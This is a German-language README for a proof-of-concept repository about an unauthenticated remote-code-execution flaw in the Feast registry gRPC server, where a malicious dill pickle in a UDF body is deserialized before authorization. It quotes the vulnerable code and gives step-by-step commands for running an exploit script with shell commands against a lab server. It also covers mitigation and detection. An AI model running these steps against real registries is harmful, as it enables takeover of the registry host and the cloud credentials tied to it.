CVE-2026-56121 — Feast: Nicht authentifizierte RCE über gRPC-Registry-Deserialisierung

Der Feast < 0.63.0 Registry-gRPC-Server führt dill.loads() für die benutzerdefinierte Funktion eines OnDemandFeatureView aus, sobald eine Spezifikation eintrifft – bevor eine Autorisierungsprüfung stattfindet. Die ausgelieferte Konfiguration ist auth: no_auth, sodass jeder Client, der den Registry-Port (Standard 6570) erreichen kann, nicht authentifizierte Remote-Code-Ausführung erhält, indem er eine einzige ApplyFeatureView-Anfrage mit einem bösartigen Pickle sendet.

Ursache

sdk/python/feast/registry_server.py:

def ApplyFeatureView(self, request, context):
    feature_view_type = request.WhichOneof("base_feature_view")
    ...
    elif feature_view_type == "on_demand_feature_view":
        feature_view = OnDemandFeatureView.from_proto(request.on_demand_feature_view)  # (1) deserialize
        ...
    assert_permissions_to_update(resource=feature_view, ...)                            # (2) authorize
    self.proxied_registry.apply_feature_view(...)

from_proto (1) wird vor der Berechtigungsprüfung (2) aufgerufen. Es parst die Transformation, die dill.loads() auf den UDF-Body anwendet — sdk/python/feast/transformation/pandas_transformation.py (und python_transformation.py):

@classmethod
def from_proto(cls, user_defined_function_proto):
    return cls(
        udf=dill.loads(user_defined_function_proto.body),   # <-- attacker-controlled pickle
        udf_string=user_defined_function_proto.body_text,
    )

dill ist eine Obermenge von Pickle, daher führt dill.loads() von Angreifer-Bytes die Pickle-__reduce__-Maschinerie aus → beliebige Codeausführung. Da es vor assert_permissions_to_update ausgeführt wird – und die Standardeinstellung auth: no_auth diese Prüfung ohnehin wirkungslos macht – ist die RCE nicht authentifiziert.

Reproduzieren

# 1. Start a vulnerable registry server (feast 0.62.0, gRPC :6570, default no_auth)
docker compose -f lab/docker-compose.yml up --build -d

# 2. Fire the PoC (no credentials)
pip install "feast==0.62.0" grpcio
python3 exploit.py 127.0.0.1:6570 -c "id; hostname"

# 3. Command output appears on the registry host
docker compose -f lab/docker-compose.yml exec feast cat /tmp/feast_pwned
#   uid=...(...)  <hostname>

Beobachtet:

[*] sending ApplyFeatureView with a 124-byte malicious pickle in user_defined_function.body
[*] RPC status: UNKNOWN - Exception calling application: 0 is not a module, class, method, or function.
[+] dill.loads executed the payload server-side during from_proto.

Der RPC wird letztendlich einen Fehler ausgeben (das entpickelte Objekt ist keine aufrufbare UDF mehr), aber der Befehl wurde bereits während dill.loads() ausgeführt — cat /tmp/feast_pwned gibt Live-id/uname-Ausgabe zurück, was die Ausführung und nicht nur ein Echo beweist.

Auswirkungen

Jeder, der den Feast-Registry-gRPC-Port erreichen kann, führt beliebige Betriebssystembefehle als das Registry-Dienstkonto aus — vollständige Kompromittierung des Feature Stores und der damit verbundenen Offline-/Online-Stores, Registries und Cloud-Anmeldeinformationen. Feast-Registries werden häufig innerhalb von ML-Plattformen exponiert, um von SDK-Clients aufgerufen zu werden.

Abhilfe

• Aktualisieren Sie auf Feast ≥ 0.63.0, das einen skip_udf-Pfad hinzufügt, sodass der Registry-Server den UDF-Body eingehender Spezifikationen nicht mehr deserialisiert.
• Verteidigung in der Tiefe: Aktivieren Sie auth (oidc/kubernetes) und legen Sie den Registry-Port niemals für nicht vertrauenswürdige Netzwerke offen. Beachten Sie, dass die Authentifizierung allein bei < 0.63.0 nicht ausreicht, da die Deserialisierung vor der Autorisierungsprüfung erfolgt.

Erkennung

Alarmieren Sie bei ApplyFeatureView- / ApplyMaterialization-RPCs an die Registry, deren OnDemandFeatureView-user_defined_function.body nicht von einem vertrauenswürdigen Client erzeugt wurde, sowie bei Registry-Prozessen, die Shells spawnen.

Siehe ANALYSIS.md für den Proto-Pfad, die Deserialisierung-vor-Autorisierung-Reihenfolge und den Patch.

• Autor: Caio Fabrício — github.com/BiiTts
• Die Anerkennung der Schwachstelle gebührt dem ursprünglichen Melder / der Herstellerberatung; dieses Repository ist eine unabhängige Reproduktion für defensive und Bildungszwecke. Nur für autorisierte Sicherheitstests.